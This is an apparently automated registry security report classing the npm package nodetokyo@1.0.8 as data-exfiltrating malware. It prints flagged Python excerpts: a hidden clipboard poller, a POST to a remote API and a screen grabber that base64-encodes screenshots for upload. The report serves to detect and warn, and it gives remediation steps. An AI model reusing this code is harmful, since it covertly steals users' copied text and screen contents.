registry / Data exfiltration / nodetokyo
nodetokyo
NodeTokyo - AI-Powered Stealth Assistant. Run anywhere with node.
This report shows the evidence for nodetokyo@1.0.8. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe source implements automatic remote transmission of clipboard data from a deliberately hidden background process. This is concrete data exfiltration, not merely a user-requested AI request.
Static reason
No blocking static signals were detected.
Trigger
The user runs the nodetokyo command or start script.
Impact
Sensitive copied text and captured screen content can be exposed to the remote service.
Mechanism
A detached hidden Python process collects clipboard or screen data and posts it remotely.
Attack narrative
The package does not run during npm installation, but its user-invoked launcher silently detaches a concealed Python process. That process polls the clipboard every 300 milliseconds and posts changed text to the remote endpoint without a per-item confirmation. Screen captures are also encoded and posted when scan features are used. The concealed interface and automatic clipboard transmission create a concrete data-exfiltration risk.
AI rationale
The source implements automatic remote transmission of clipboard data from a deliberately hidden background process. This is concrete data exfiltration, not merely a user-requested AI request.
Evidence
package.jsonlauncher.jsclient/noderzero.py
Network endpoints1
nodetokyo.vercel.app/api
Decision evidence
public snapshotAI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
- The command launcher starts the Python program as a detached hidden background process.
- The program continuously reads changed clipboard contents and automatically sends them to a remote service.
- It captures full-screen images and sends encoded images to the same remote service when scanning is activated.
- The user interface is deliberately transparent, borderless, and always on top, obscuring its activity.
Evidence against
- The manifest has no preinstall, install, or postinstall hook.
- Activation requires the user to run the package command or start script.
Behavioral surface
ChildProcessEnvironmentVarsFilesystemShell
UrlStrings
Source & flagged code
7 flagged · loading sourceclient/noderzero.pyView file
225def clipboard_monitor(self):
self.check_clipboard()
self.root.after(300, self.clipboard_monitor)
def check_clipboard(self):
try:
current = pyperclip.paste()
if current == self.last_text:
return
if len(current.strip()) < 5:
return
# Skip if clipboard contains our own AI output
if 'DONE' in current or 'chars)' in current:
return
self.last_text = current
if not self.is_hidden:
if self.current_mode == 'copypaste':
High
Ai Review Evidence
The program continuously reads changed clipboard contents and automatically sends them to a remote service.
client/noderzero.pyView on unpkg · L225260def ask_ai(self, text):
try:
resp = session.post(
API_URL,
json={'text': text, 'mode': self.current_mode},
timeout=60
)
High
Ai Review Evidence
The program continuously reads changed clipboard contents and automatically sends them to a remote service.
client/noderzero.pyView on unpkg · L260288def scan_screen(self):
if self.is_processing:
return
try:
self.is_processing = True
self.label.config(text='sc')
screenshot = ImageGrab.grab()
buf = BytesIO()
screenshot.save(buf, format='JPEG', quality=50)
img_b64 = base64.b64encode(buf.getvalue()).decode('utf-8')
if self.current_mode == 'copypaste':
threading.Thread(target=self.ask_ai_ocr, args=(img_b64,), daemon=True).start()
else:
threading.Thread(target=self.ask_ai_vision, args=(im
Findings
6 High2 Medium3 Low
HighAi Review Evidencelauncher.js
HighAi Review Evidenceclient/noderzero.py
HighAi Review Evidenceclient/noderzero.py
HighAi Review Evidenceclient/noderzero.py
HighAi Review Evidenceclient/noderzero.py
HighAi Review Evidenceclient/noderzero.py
MediumEnvironment Vars
MediumShips Build Helperclient/noderzero.py
LowScripts Present
LowFilesystem
LowUrl Strings
Affected versions and remediation
This report applies to nodetokyo@1.0.8.
The versions list below shows the verdict for each recorded version.
- Avoid installing nodetokyo@1.0.8. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.